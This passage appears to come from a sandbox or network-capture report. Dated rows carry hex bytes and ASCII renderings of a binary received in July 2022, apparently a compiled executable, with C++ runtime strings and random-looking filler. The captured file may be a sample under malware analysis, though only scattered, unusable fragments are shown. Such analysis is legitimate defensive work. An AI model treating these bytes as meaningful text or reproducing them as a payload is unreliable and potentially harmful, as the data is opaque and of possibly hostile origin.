69 cb 0b af de b5 d0 87 cf 14 95 97 be 36 be a7 ed 2d f7 09 32 1b 8f 57 09 07 0c 8f d2 f3 5a 8c 42 e5 7d d6 01 8f 8b 94 47 b1 0d f4 32 0f ff 41 2b 27 cd 97 d2 43 fd 99 7b d8 db df 48 3d 81 5a db 2b 2d 0e 16 42 af c1 08 d8 78 Data Ascii: x!2^,m;&v9MuUP`2j`hG5XI;.x8}H"#@PE6&S:_?Q */B1B8&vQop^'\|.3Xgl;}y4+{#Hi6-2WZB}G2A+'C{H=Z+-Bx
2022-07-20 08:32:58 UTC	1651	IN	Data Raw: f1 0c 5d 6b ad 79 fd b9 5e 28 f5 cd b9 0b 9b cd bf 97 39 77 6e 76 0c a9 cc 6f 4d 9b 88 19 8b 6b f6 0c 20 00 b9 7c a7 71 cd 7b e8 62 ee b0 f0 28 67 4b ab f6 d5 ff 14 23 55 ae 0c 95 aa ba 18 38 6f 93 6e e9 9b 64 1d fb c8 8a 3b d3 d0 8a 80 6e 32 18 68 1c b9 99 0e 16 f9 aa 2d 9e 6d ce 3c 69 6f a4 46 90 3c ce 1f dd 08 e8 b6 99 6b 7a 0a 99 ce cf 94 55 6e 58 97 02 e2 ec ea 5a 5d 04 c5 2f f3 9b 28 39 a2 dd ec 00 e1 eb fb c1 5a 29 77 7f 4d ab fd 3d 3e e3 e9 0b cb 22 8c 21 5d 3d 94 1b f5 3c f8 5f b6 2e fc ae fa 4e 18 59 e9 de af a6 48 26 4e d3 68 eb a8 a9 1f 0b 79 de 39 c2 bd 3d 0b 98 c0 85 1d 97 a0 a0 9a 6f 5e 3f 3a 50 d5 ec 5c 4c fa e1 21 f9 49 97 65 4b 08 ae 5d bb 7f 9c 29 ae 6a b9 ae b0 76 4c 59 8b ef 95 88 27 60 3b e6 13 af bd ee 4d 38 6b 9d 6a 88 aa 36 69 ad Data Ascii: ]ky^(9wnvoMk \|q{b(gK#U8ond;n2h-m<ioF<kzUnXZ]/(9Z)wM=>"!]=<_.NYH&Nhy9=o^?:P\L!IeK])jvLY'`;M8kj6i
2022-07-20 08:32:58 UTC	1652	IN	Data Raw: 0d 5b bd 9d ce a3 09 5b 5a be 1c f1 dd 8e 13 52 38 c4 4e e8 b2 3c 6b fb df 88 48 9b a8 9b 9e 22 2c 3d 21 4f e1 ae 58 59 8a b3 46 ac 39 fe 5f 6d 3b c8 50 85 6d 97 10 a0 7a ef 8e bf 3a 10 25 ac fc bc ba 01 71 69 a9 07 b5 cb a8 4e 1d 3b 9f 2c 99 fe 3a 29 be d0 a6 0c 98 a7 bf a5 5e 15 60 1b 06 b3 af 4d 1e ad 98 3b 9d 4a e8 3a 66 59 fd 4e eb 02 8b 74 bc 5b fb b7 f5 19 2e 3f bd 9b c8 d9 1b 1b 0f b2 4f ef f3 d4 1f 08 3a ff 39 ff f2 7e 64 bf ee a4 06 dd 99 f4 9a 3c 6a 76 2e 6f fa eb 4d 2e b9 a6 49 82 5e cf 1c 0a 48 b1 48 ce 54 85 59 f3 6a ce af b8 7b 3e 1b a3 ef fa ef 1f 08 5f a8 4d 94 bb 9a 09 49 2e ce 7c cb c8 19 2b 9b f6 cc 39 97 f1 9b ca 24 60 0f 6b 15 e8 ab 07 51 da e1 68 ca 74 95 22 3e 56 a2 4f 8e 23 99 0b 8a 78 b2 b9 bb 6e 7a 66 ab f8 a8 b9 4b 3e 79 8a 2d Data Ascii: [[ZR8N<kH",=!OXYF9_m;Pmz:%qiN;,:)^`M;J:fYNt[.?O:9~d<jv.oM.I^HHTYj{>_MI.\|+9$`kQht">VO#xnzfK>y-
2022-07-20 08:32:58 UTC	1668	IN	Data Raw: c8 d9 7a 3b b6 dc 70 fe 42 8d 66 18 4a bb 46 96 3b a9 47 9f 03 9b a5 c9 58 2b 59 9c eb ce ea 1d 66 68 bf 1b e2 96 fe 79 4b 1f ff 1b eb 99 16 5b fa ac f8 6e d2 ed fa f8 34 2b 2a 46 3c 99 8e 6f 4d 9b e9 19 fb 6b 9f 0c 64 6e a2 1d b8 18 84 5b ec 16 f5 d9 f0 4f 70 6b ab 99 d4 8b 14 4c 5c 8e 42 fd b8 c8 00 5b 75 f6 7f c9 a6 4f 00 cb 94 c9 2a fb bb cc 9b 4e 72 6d 2b 68 99 fb 6b 36 9c d9 4e ff 76 ab 3d 49 69 cb 08 cc 2c fe 43 ed 78 c8 eb eb 4b 26 6c 99 ce cf fd 3b 79 39 8b 6b ef cc b4 2e 42 6d d8 48 e4 bb 4b 56 cc a9 9e 6f 8f cb 98 a9 7d 37 65 5d 55 a2 e0 7e 6b c8 d9 3b fb 66 ac 09 1e 6f bd 3b 9a 49 8b 2b d0 20 ea c8 ed 58 1e 38 99 bb cb 86 3e 49 6e 8f 5b b7 eb de 3e 5f 40 cd 75 eb aa 3d 0b 98 a9 eb 6b f6 cc c9 fc 4f 2d 4b 0e 55 c8 d8 03 18 cf ef 23 f8 5e f8 09 Data Ascii: z;pBfJF;GX+YfhyK[n4+F<oMkdn[OpkL\B[uONrm+hk6Nv=Ii,CxK&l;y9k.BmHKVo}7e]U~k;fo;I+ X8>In[>_@u=kO-KU#^
2022-07-20 08:32:58 UTC	1669	IN	Data Raw: 99 e8 02 17 65 6f 88 16 77 85 30 37 13 dc e9 52 20 d4 e1 24 a9 68 a9 2b 5b 54 ba 79 33 1b dd 09 86 b0 6e 5a 02 35 c2 f3 94 db 0d a6 02 c9 b0 fb c6 bc 32 9c 83 0c 83 0b 1b 2b 95 e5 b6 58 54 c8 af b3 84 08 ff 46 8d 64 8d 94 49 0b 4a 3b eb a3 49 1b ca 0c 4c 3a 28 dc 7b 37 66 ab 45 1f 87 d6 a4 33 54 41 d9 cb 10 88 6a e8 a6 6a 7e 12 b8 15 7c 34 16 28 f5 4f ed 7f 59 14 66 9c 55 6a 89 81 0b b7 90 6e 40 a0 63 af ac 84 80 aa 8b 3b 13 fd ad c0 8b d4 fe 7b f1 64 be b5 e2 99 f9 f7 df 48 66 81 73 39 2d 9c 49 64 7c dc 39 8e 8f 06 03 bc be 89 8b e2 87 95 5e c2 7d 7b 1d 6f 30 32 e2 a5 d0 fc 90 6f 94 ed 75 00 e3 f1 0a 49 98 92 ef da 2b c8 d4 52 83 8b 2c 35 fd 6b fc 7e b1 c7 9d 77 a1 99 8e 6f 6d 7b c2 e9 17 6f 36 f4 5a 61 3a 50 c1 90 76 2f 24 b5 0f 64 d3 67 a5 a3 59 e7 77 Data Ascii: eow07R $h+[Ty3nZ52+XTFdIJ;IL:({7fE3TAjj~\|4(OYfUjn@c;{dHfs9-Id\|9^}{o02ouI+R,5k~wom{o6Za:Pv/$dgYw
2022-07-20 08:32:58 UTC	1685	IN	Data Raw: c9 4e 27 c9 9d 48 98 fb 6b 16 fd d9 6e 8f ed 9b 28 79 73 7f 40 4c 98 4e 5f ed 7f 98 39 8b 9b 96 ac 19 76 9b 3b bb c9 d9 1b 3b 62 dc 19 fe 6f 8d 0b 18 01 3f 6d 16 4d a9 2e 9f c0 9b 88 c9 3b 2b 36 9c d1 4a 89 9d 4a 68 d9 1b 54 96 9c 79 2e 1f 8d 1b c0 1d 3d db 97 ac c9 6e 6c ed cb f8 19 2b 1b 46 54 1d 88 ef 4c 9b 88 19 6b 6b f6 0c 49 6e cf 1d b3 9c af db 9a 16 9c d9 25 4f 5d 6b c8 99 bb 8b ee c8 3f 0e 6e fd cb c8 b7 5b 1b f6 1c c9 ce 4f b5 4f fe 49 1a fb 96 cc 48 4e 5f 6d 1b 68 99 fb c3 b2 9a 59 4f ff 1d ab 83 49 1b cb 66 cc 49 fe 97 69 4d 48 d8 eb 4b 26 b2 99 ce cf fd 3b 18 39 33 ef 80 4c 98 2e 2f 6d 72 48 c9 bb 4b 56 cc a9 46 eb 8b 4b 99 a9 3b 5b d0 1c 39 ce 8f 1d 6b c8 b1 5c fd e6 ad 09 1e 6f 9e 3b 98 49 8b 2b 96 4c 71 0a 99 bd 7a 38 99 bb ae 86 3c 49 6e Data Ascii: N'Hkn(ys@LN_9v;;bo?mM.;+6JJhTy.=nl+FTLkkIn%O]k?n[OOIHN_mhYOIfIiMHK&;93L./mrHKVFK;[9k\o;I+Lqz8<In
2022-07-20 08:32:58 UTC	1686	IN	Data Raw: 5e 1f b5 1d 6e 49 6a fb 26 cc 1a ce 8f ed 1b 28 69 bb 2b a1 da b9 1f 6f fd 3b ba c9 bb 2b 26 4c a9 4e 27 3b 1d d8 c8 8b 9b 66 d5 c9 9e ff 3d 0b 18 19 63 ac 80 bc 68 ce 8f 3d 8e 68 a9 2b 1b 66 9c 39 56 99 8b fb 99 49 bb 8b f1 1c 79 3e cf bd 9b 88 49 0c 6d 06 3d d9 9e cf 79 7b 18 a9 3b 9b c6 1c d1 18 f9 6d 3a f8 c9 eb 9d 46 0c 49 4e 6f bd db 80 ef bd 0b 47 ac 39 fe d1 6d 3b c8 39 eb 1b f6 d4 ae 18 4f fc cb 48 79 60 cb c6 9c d9 6e 1f 1d 23 ee df 6b ca 26 7c 49 93 4f ed 9b 48 09 eb fb 9e bb af 1e 9e 8d 1b 58 ca 3b 6b c6 dc 39 3e cf c5 73 fe b9 8a 5b 16 3c a4 6e 9f 6d ab 28 c9 6b d3 01 ca 99 2f 3f bd 9b 4e d9 1b 1b 66 dc 39 8e b7 d5 7d a8 48 8b 4b 96 a7 19 5e 9f 8d cb 68 a9 c3 1c f0 9c 08 1e 4f 1d 1f 88 39 4b cb 86 1c a9 be 98 2b cb 69 99 1b 9b 26 ac 79 9e 1f Data Ascii: ^nIj&(i+o;+&LN';f=ch=h+f9VIy>Im=y{;m:FINoG9m;9OHy`n#k&\|IOHX;k9>s[<nm(k/?Nf9}HK^hO9K+i&y
2022-07-20 08:32:58 UTC	1702	IN	Data Raw: 19 2b b3 6f 76 3f fe 00 57 ad 48 0b 65 1b a4 99 d9 68 3f bd 31 4a c8 14 fb 56 4d 2a cf 6f fe 29 f8 79 ea 14 c4 dc c6 1c 24 3d 9a d8 9a fb 7b 74 30 a9 65 ef ed 9b 31 77 6a fb 48 4e 99 4e 37 cf af 98 ed 31 9d 96 cc c0 e4 19 3d 39 c8 d9 02 1b c4 dc 08 ff 7e 8d 83 10 3d bb 13 96 4c a9 2f 8c 6c 9b 9b 4b 3b 2b 37 92 98 ce 81 7f 4b 68 d8 0f 89 96 88 eb 3e 6f 8c 0f 9a 99 2f 09 86 dc c8 77 fd ed d2 2a 0c 5b 02 4f 3d 99 87 2d 4d 9b e0 3b 8f 6b 22 b6 4f 6e ce 13 c9 18 a7 29 91 66 85 c1 9f 4f 54 c9 c8 99 33 83 62 4c 71 8e 6f fd ca db 78 5b 08 54 1c c9 d7 6d 2c cb eb 4b 1b fb 1e c4 ad 4e 6f 6d 1b 68 80 f2 6a 36 95 5b 4e ff 75 89 5c 49 cf 71 60 cc 48 f3 2e ed 46 aa d9 eb 52 3a 6d 99 c3 0d fd 3b 90 31 ff 6b de cc 99 2e 36 70 aa 48 c7 79 4b 56 44 a1 9a 6f dd cb 98 a9 22 Data Ascii: +ov?WHeh?1JVMo)y$={t0e1wjHNN71=9~=L/lK;+7Kh>o/w[O=-M;k"On)fOT3bLqox[Tm,KNomhj6[Nu\Iq`H.FR:m;1k.6pHyKVDo"
2022-07-20 08:32:58 UTC	1703	IN	Data Raw: 1b a5 56 18 cc ce 21 5d 4b 82 1b ef cb fb 0f cb c6 9b 9d ab bc cb 92 69 54 4c 09 6f e6 fd 3f 31 9d fb f3 48 3a a9 64 1e 1d 9b 40 08 d5 fd 26 00 f7 c8 8f e9 15 68 af be cb e8 4c 82 1b 6f f7 3b 88 7d b9 fa 21 48 0c 48 9d 99 1b 58 c9 8b 9a 71 ad c9 89 5d 3d 0b 09 17 1a cb 88 7e 69 ce e7 1f af 68 5d 95 1d 66 b4 c4 20 19 8d 78 27 4f bb 89 98 8c bb 3b cf bb 9b 88 0b 69 4b 86 3c d9 9f c3 5c 7b 14 8b 3b 9b df 18 08 9e fb af 3b f8 a1 c9 ff 46 d8 f3 48 6f a4 fc 6b 69 b6 8a 68 ac 3f ae 5f 6d b3 c0 3d eb 3f f7 7c c9 5e cf fd cb 68 79 4b cb df bb da 6e 12 1c 99 68 df bb cb 26 f4 41 fa 4f 29 9a 48 09 ab fb 96 3c 89 9e 9f 8d 0a 4c 4c 3b 60 c7 e8 39 3a bf fe 7b fa 69 8b 5b 7e 1e 9d 6e eb d2 ad 28 e1 16 74 80 cc 8e 91 39 bd 91 c6 49 df 1e 66 f2 f9 4a 9a bd 55 d8 8d 8e 4b Data Ascii: V!]KiTLo?1H:d@&hLo;}!HHXq]=~ih]f x'O;iK<\{;;FHokih?_m=?\|^hyKnh&AO)H<LL;`9:{i[~n(t9IfJUK
2022-07-20 08:32:58 UTC	1719	IN	Data Raw: 6e ff 9d 48 6f 19 1a 9b 16 ac 3a 9e 1f bd db 98 19 5b 3b c6 9c 99 8e 6f 6d 3b 88 39 fb 9b c6 7c 79 1e ff 3d cb c8 18 0b 9b f6 cc 39 fe 9f ed ab 48 09 6b 4b 66 9c d9 6e 3f bd db 48 a9 1b fb 56 4c 39 ce 6f ed 4b f8 79 eb 1b c6 dc c9 4e 2f 4d 9b c8 99 fb 6b 16 3c d9 6e 8f ed 9b 28 79 6b fb 46 cc 99 4e 5f ed ab 98 39 8b 9b 96 ac 19 5e 1f 3d 3b c8 d9 1b 3b c6 dc 19 fe 6f 8d 0b 18 3b 9b 6b 96 4d a9 2e 9f 6d 9b 88 c9 3b 2b 36 9c 99 ce 8f 1d 4b 68 d9 1b 8b 96 9c 79 2e 1f 8d 1b 98 99 3b 5b 96 ac c9 6e ff ed cb f8 19 2b 1b 46 3c 99 8e 6f 4d 9b 88 19 8b 6b f6 0c 49 6e cf 1d cb 18 a9 5b 9b 16 9c d9 9e 4f 5d 6b c8 99 bb 8b 66 4c 39 8e 6f fd cb c8 7b 7b 1b f6 1e c9 ce 4f 2d cb f8 c9 1b fb 96 cc a9 4e 5f 6d 1b 68 99 fb 6b 36 9c d9 4e ff 1d ab 58 49 1b cb 66 cc 49 fe 2f Data Ascii: nHo:[;om;9\|y=9HkKfn?HVL9oKyN/Mk<n(ykFN_9^=;;o;kM.m;+6Khy.;[n+F<oMkIn[O]kfL9o{{O-N_mhk6NXIfI/
2022-07-20 08:32:58 UTC	1720	IN	Data Raw: 4f 2d 4b 48 39 bb 8b 66 6c 99 8e 4f 8d 3b f8 09 6b 6b c6 3c c9 1e ff 5d cb 18 99 fb 9b 46 7c 69 ce cf bd db 68 49 1b 8b 66 dc c9 ce 2f 5d 4b f8 19 eb cb 46 0c c9 fe 9f 1d ab 98 c9 8b 4b 56 4c 19 6e cf fd 3b 38 99 fb 4b f6 3c a9 5e 1f 1d 9b 68 c9 6b fb 26 cc 49 ce 8f ed 1b 28 69 bb cb c6 dc 39 1e 6f fd 3b 88 c9 bb 2b 26 4c a9 4e 9f bd 1b 58 c9 8b 9b 66 ac c9 9e ff 3d 0b 18 19 1b cb 86 3c 69 ce 8f 3d ab 68 a9 2b 1b 66 9c 39 9e 1f 8d 7b 98 49 bb 8b 96 1c 79 3e cf bd 9b 88 39 6b 6b 86 3c b8 fc ac 39 1e 7e ce 53 f2 ac 77 65 f3 91 82 4b 89 bb 98 8f 33 7a 3e 36 16 c7 db 68 69 bb 8b 46 ed 7b bd 1b 28 7d 8f 71 a2 51 bd 30 84 50 80 ad 9a 1a 2a 1f 9e 90 cb 81 37 45 1d db 68 d9 eb cb 26 7c 49 fe 4f ed 9b 48 09 eb fb 96 3c a9 9e 9f 8d 1b 58 49 3b 6b c6 dc 39 3e cf fd Data Ascii: O-KH9flO;kk<]F\|ihIf/]KFKVLn;8K<^hk&I(i9o;+&LNXf=<i=h+f9{Iy>9kk<9~SweK3z>6hiF{(}qQ0P*7Eh&\|IOH<XI;k9>
2022-07-20 08:32:58 UTC	1736	IN	Data Raw: 1f 1b 12 3c 3f 8e ab 6d 7f 28 fc 5a 4f 96 ec ce 58 9f 35 1a 6c a9 1b 4a f2 1c f1 fe 49 1d 6b 59 3d 4b 70 54 18 a9 b6 1f 2b 4b d4 4b 1f 9b 97 7f 7d 9e af 5d dd 98 9d 88 3f c6 2a 4a 8a 6f a1 ed 8e 39 43 48 c2 7c 91 cd fb 3d 13 71 1f 2b 73 25 c8 39 a9 4b e9 ab dc e9 6d 4b e2 48 dd 6e 7c 6b df 48 99 fa fd 56 08 ef ca 6f 4c 9d fc 79 27 cd c0 dc 6d 98 2b 4d b1 10 9d fb 77 f7 3a d9 42 57 e9 9b b7 a1 6f fb 92 1a 9f 4e ff 35 af 98 96 52 9f 96 c4 f8 58 1f 8d e2 cc d9 ea e2 c2 dc 45 1f 69 8d ff c1 3d bb 65 4c 48 a9 f6 26 6b 9b 98 13 3f 2b 1c 46 9d ce 57 a4 4d 68 f5 c1 8f 96 f3 a3 2a 1f c1 fa 9e 99 43 81 92 ac 7a b4 fb ed 1b 19 1f 2b af 9c 38 99 61 b5 49 9b 7c f8 8d 6b 06 d6 4d 6e 6f c1 cf 18 09 ba 9d 16 3c 05 9a 4f 9d b6 cc 99 03 6a 60 4c e9 53 6b fd d8 16 7d 5b 93 Data Ascii: <?m(ZOX5lJIkY=KpT+KK}]?Jo9CH\|=q+s%9KmKHn\|kHVoLy'm+Mw:BWoN5RXEi=eLH&k?+FWMhCz+8aI\|kMno<Oj`LSk}[
2022-07-20 08:32:58 UTC	1737	IN	Data Raw: 2d 96 24 90 8b 9f 6f 71 3d 99 bf 2f 80 3c 1d 64 8a 1d 4f 92 9c 5b e7 c0 aa 19 0a c5 38 0b b6 a2 ee 6b d6 28 cf fe 7f 26 4e 48 29 b7 8e 66 28 7d 88 4f 9d 37 fd 09 06 67 c3 3c d1 fa f9 5d bb 14 9c fb 61 4a 79 69 be 18 bb db 94 45 1e 8b ab d1 cc ce e3 82 4d f8 c1 e6 ce 46 95 d9 fb 9f 89 73 9e c9 17 5b 53 4c 21 7f ca fd 57 dc 9f fb 73 e7 39 a9 a9 0d 18 9b 34 14 6d fb de de 4c ce df fe 1e 28 a5 6d cd c6 8c 2a 1b 6f 69 28 8d c9 63 92 20 4c 1d 5d 9a bd 3f 4c cc 8b 0f be aa c9 ba eb 38 0b 08 0c 1e cb ba df 6f ce 9f 28 ae 68 c4 3e 1e 66 48 ef 98 1f fd 6e 9d 49 28 9e 93 1c f9 da c9 bd 0f 9d 3c 6b be 93 39 d9 52 19 5b 7b c0 bc 3e 9b a6 0a 0c 9e 3f 32 3d f8 a9 fd fe 46 73 50 4b 6f 25 3f 6e 69 3b 92 43 ac 2f e4 5a 6d b3 2c 3f eb 03 ec 79 c9 7e d5 f8 cb 84 af 4d cb ba Data Ascii: -$oq=/<dO[8k(&NH)f(}O7g<]aJyiEMFs[SL!Ws94mL(m*oi(c L]?L8o(h>fHnI(<k9R[{>?2=FsPKo%?ni;C/Zm,?y~M
2022-07-20 08:32:58 UTC	1753	IN	Data Raw: 51 0e 80 50 d2 80 f4 00 40 a0 94 30 ac b0 bb 92 23 a3 97 93 4f 93 31 e3 5e d3 c0 e3 3b 74 0c b4 8a c4 70 34 8b 74 13 e4 67 74 43 74 be 34 1c d4 d2 05 93 65 24 b5 be 65 0c 65 f7 05 38 65 44 b5 53 e5 52 95 b2 76 7f c8 1e 7b 14 0b a4 0e d3 ee fb 3e c1 6e 58 0e e0 80 d2 00 90 50 80 e0 a7 30 f8 30 40 93 d5 93 05 93 11 63 6a d4 91 e4 aa b4 e6 34 56 a4 b4 04 bb 94 c1 64 43 05 a8 a5 e9 b5 e5 35 14 95 9c 35 d5 b5 98 95 e1 a5 3c 95 f1 95 a6 e5 21 d6 4e e6 27 76 7c b6 d1 c6 4c 36 56 76 c2 e6 c7 76 cc 76 d7 36 71 d6 4d 06 22 66 a7 b6 55 66 ff 66 7b 06 b0 66 d5 b6 96 e7 96 97 2e 77 d3 c7 83 77 2f 07 3d 08 37 e8 14 38 45 68 c7 09 c8 69 e3 39 c0 69 23 d9 5a 39 bd 39 ad 99 f0 9a 73 9a b5 6a 45 db b8 eb 51 bb 3e 3b fd ab c2 0b cc 9b 9f 6b e6 0b 42 ab 0a bb 7f 3b ab 9b 00 Data Ascii: QP@0#O1^;tp4tgtCt4e$ee8eDSRv{>nXP00@cj4VdC55<!N'v\|L6Vvvv6qM"fUff{f.ww/=78Ehi9i#Z99sjEQ>;kB;
2022-07-20 08:32:58 UTC	1754	IN	Data Raw: 7b 0b 7e 6b 43 bc d7 6c 7f 6c fb 0c 25 6c 9e bc 53 ec 4e 9c d6 7c 41 cc e7 7c 72 0c 58 0c 96 ed 84 3d 9d 6d 92 0d bb 6d bc 3d 31 6d 60 dd 0d 3d 55 3f e7 9f 08 9f 40 00 43 50 30 e1 e0 d0 22 b0 37 30 56 a0 bc 00 d7 91 52 62 39 02 17 a2 4e b2 1f 32 a8 92 0d 32 4f b3 2c 93 05 a3 9e 93 6c 93 c3 e3 98 d3 e8 e3 c5 73 be b3 15 c3 16 34 3f 74 f4 e4 c6 74 d3 74 dc 34 7d d4 77 04 49 64 da b4 64 64 ca 64 ac 05 1a 65 60 b5 e3 e5 23 95 e8 75 90 c6 3e 76 dc 06 c7 06 56 e6 6d 36 74 66 0b 06 08 66 e9 37 7e 67 c3 d7 b8 37 51 37 52 98 cb 98 3b 98 c4 68 9c d8 28 e8 de b8 3c 39 33 a9 d2 0a dc 9a 9f 6a e9 0a ce ab b8 bb 32 3b d9 9b 6f 3b e6 bb 9b 9b d9 ab 21 9b 05 9c 41 ec 26 dc 4b ec 2b 7c 60 bc d5 cc 45 3c 4a 7c ef ec ff 7c c4 7c 39 3c 99 dc ae 0c 03 6c 93 bc 08 6c ad 6c 0d Data Ascii: {~kCll%lSN\|A\|rX=mm=1m`=U?@CP0"70VRb9N22O,ls4?ttt4}wIdddde`#u>vVm6tff7~g7Q7R;h(<93j2;o;!A&K+\|`E<J\|\|\|9<lll
2022-07-20 08:32:58 UTC	1770	IN	Data Raw: 75 71 6b 7a 72 78 65 6d 6f 70 62 71 6e 64 65 61 78 63 71 77 74 6e 62 69 74 6b 71 00 00 00 78 71 6e 61 61 76 7a 68 61 6b 6b 65 6d 6c 78 71 65 6b 77 71 6b 72 61 74 6a 6b 63 75 66 65 63 75 6b 71 6e 66 75 73 63 6c 71 6e 62 70 64 71 6c 68 74 69 61 79 76 67 6f 6d 65 72 74 70 66 76 62 65 6b 6f 71 6d 6c 6f 69 76 75 77 72 6b 6e 73 62 75 75 6f 68 65 79 6a 76 65 77 62 00 61 63 79 66 74 61 6b 65 6c 66 72 68 77 64 61 7a 65 6d 6b 75 6b 6f 78 67 00 6d 67 62 7a 65 71 6d 67 6a 77 6c 63 65 75 75 78 76 78 67 71 68 6c 6c 66 70 6e 77 72 6f 6d 66 77 62 6e 63 72 75 76 6e 63 67 73 79 62 66 68 6a 61 61 63 6a 64 67 72 71 79 7a 6e 69 67 7a 6b 6b 69 6a 6d 68 72 64 79 76 6e 78 6f 68 76 72 72 62 67 74 75 68 63 6e 72 74 61 63 71 6a 77 78 6a 7a 6e 65 63 71 00 70 6b 6a 74 69 6c 69 71 79 Data Ascii: uqkzrxemopbqndeaxcqwtnbitkqxqnaavzhakkemlxqekwqkratjkcufecukqnfusclqnbpdqlhtiayvgomertpfvbekoqmloivuwrknsbuuoheyjvewbacyftakelfrhwdazemkukoxgmgbzeqmgjwlceuuxvxgqhllfpnwromfwbncruvncgsybfhjaacjdgrqyznigzkkijmhrdyvnxohvrrbgtuhcnrtacqjwxjznecqpkjtiliqy
2022-07-20 08:32:58 UTC	1771	IN	Data Raw: 6f 70 73 6f 79 6c 75 76 70 6e 72 6e 72 6b 71 67 77 6f 72 76 6a 6b 74 76 71 71 73 79 63 73 65 6b 6e 6d 78 64 77 61 62 65 61 6e 64 71 6e 64 6b 72 66 70 72 74 66 72 66 77 62 67 7a 6d 74 00 68 67 6c 69 78 65 6e 70 6b 7a 74 6a 76 61 73 67 6f 61 61 00 6b 73 6c 6c 77 64 72 68 72 67 65 67 65 78 70 6d 7a 75 64 74 62 66 75 76 65 6f 68 62 6c 61 75 61 64 71 71 78 74 62 00 00 76 64 6a 6c 61 6f 6b 79 6a 70 75 68 68 73 74 76 69 68 63 61 78 7a 6c 67 72 79 6a 65 75 79 62 6c 65 63 63 74 61 6d 73 6c 76 64 6d 64 76 75 63 71 61 6c 61 67 6d 6e 77 74 6c 61 68 74 75 62 74 70 74 79 6a 6f 70 64 73 6d 65 70 6a 77 6e 70 6e 65 62 6d 6e 75 6a 71 64 6b 63 74 00 69 71 6c 62 6f 6d 7a 67 79 72 75 77 61 00 00 00 00 64 67 63 70 73 6a 73 6e 73 6b 75 70 76 65 62 68 79 6a 69 6b 70 68 6b 65 68 Data Ascii: opsoyluvpnrnrkqgworvjktvqqsycseknmxdwabeandqndkrfprtfrfwbgzmthglixenpkztjvasgoaaksllwdrhrgegexpmzudtbfuveohblauadqqxtbvdjlaokyjpuhhstvihcaxzlgryjeuyblecctamslvdmdvucqalagmnwtlahtubtptyjopdsmepjwnpnebmnujqdkctiqlbomzgyruwadgcpsjsnskupvebhyjikphkeh
2022-07-20 08:32:58 UTC	1787	IN	Data Raw: 6b 77 74 66 6f 64 64 65 66 76 70 7a 68 6c 72 6b 75 69 6f 79 69 6c 67 77 6d 76 6a 68 66 73 65 67 72 79 66 61 72 70 68 70 62 62 6d 76 78 64 71 62 79 66 71 61 70 66 6d 77 78 6a 64 6f 77 68 68 74 74 65 6f 72 66 79 00 00 00 00 68 6f 6d 64 64 71 6a 6f 79 6d 68 64 71 6c 7a 67 68 69 77 6a 75 70 66 76 67 65 71 62 78 69 77 74 74 67 78 66 6e 6d 78 62 6f 78 63 66 64 6f 63 6c 70 74 64 6a 79 73 66 69 70 68 64 6b 65 77 62 6d 76 70 6d 78 66 65 62 6e 77 75 64 6e 7a 78 77 6f 6b 70 74 70 72 66 00 00 62 61 73 69 63 5f 73 74 72 69 6e 67 3a 3a 5f 4d 5f 63 6f 6e 73 74 72 75 63 74 20 6e 75 6c 6c 20 6e 6f 74 20 76 61 6c 69 64 00 62 61 73 69 63 5f 73 74 72 69 6e 67 3a 3a 5f 4d 5f 63 72 65 61 74 65 00 00 00 00 00 00 00 00 00 00 00 a0 b3 f1 40 00 00 00 00 00 8f c1 40 00 00 00 00 80 Data Ascii: kwtfoddefvpzhlrkuioyilgwmvjhfsegryfarphpbbmvxdqbyfqapfmwxjdowhhtteorfyhomddqjoymhdqlzghiwjupfvgeqbxiwttgxfnmxboxcfdoclptdjysfiphdkewbmvpmxfebnwudnzxwokptprfbasic_string::_M_construct null not validbasic_string::_M_create@@
2022-07-20 08:32:58 UTC	1788	IN	Data Raw: 65 72 72 6f 72 00 5f 5f 67 6e 75 5f 63 78 78 3a 3a 5f 5f 63 6f 6e 63 75 72 72 65 6e 63 65 5f 75 6e 6c 6f 63 6b 5f 65 72 72 6f 72 00 2a 00 00 00 00 00 00 00 00 00 00 74 72 75 65 00 66 61 6c 73 65 00 74 00 72 00 75 00 65 00 00 00 66 00 61 00 6c 00 73 00 65 00 00 00 00 00 00 74 72 75 65 00 66 61 6c 73 65 00 74 00 72 00 75 00 65 00 00 00 66 00 61 00 6c 00 73 00 65 00 00 00 00 00 75 6e 69 6e 69 74 69 61 6c 69 7a 65 64 20 5f 5f 61 6e 79 5f 73 74 72 69 6e 67 00 00 00 99 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 45 99 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 b5 98 47 00 90 99 47 00 b5 98 47 00 b5 98 47 00 70 98 47 00 b5 98 47 00 b5 98 47 00 20 9c 47 00 d5 9b 47 00 d5 9b 47 00 d5 Data Ascii: error__gnu_cxx::__concurrence_unlock_error*truefalsetruefalsetruefalsetruefalseuninitialized __any_stringGGGGGGGGGEGGGGGGGGGGpGGG GGG
2022-07-20 08:32:58 UTC	1804	IN	Data Raw: 42 00 c5 b9 42 00 64 b8 42 00 c5 b9 42 00 a4 b4 42 00 24 b7 42 00 00 b7 42 00 c5 b9 42 00 50 b7 42 00 c5 b9 42 00 c5 b9 42 00 54 b6 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 23 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 70 b6 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 c5 b9 42 00 d0 b6 42 00 c5 b9 42 00 60 b9 42 00 80 b7 42 00 f0 b4 42 00 14 b5 42 00 40 b5 42 00 70 b5 42 00 80 b7 42 00 a0 b5 42 00 c5 b9 42 00 c0 b5 42 00 f0 b5 42 00 10 b6 42 00 70 b6 42 00 45 b4 42 00 c5 b9 42 00 c5 b9 42 00 a0 b9 42 00 30 b4 42 00 70 b6 42 00 c5 b9 42 00 c5 b9 42 00 70 b6 42 00 c5 b9 42 00 30 b4 42 00 00 00 00 00 49 6e 66 69 6e 69 74 79 00 4e 61 4e 00 30 00 00 08 c0 42 00 40 Data Ascii: BBdBBB$BBBPBBBTBBBBBBB#BBBBBpBBBBBBBBBBB`BBBB@BpBBBBBBBpBEBBBB0BpBBBpBB0BInfinityNaN0B@
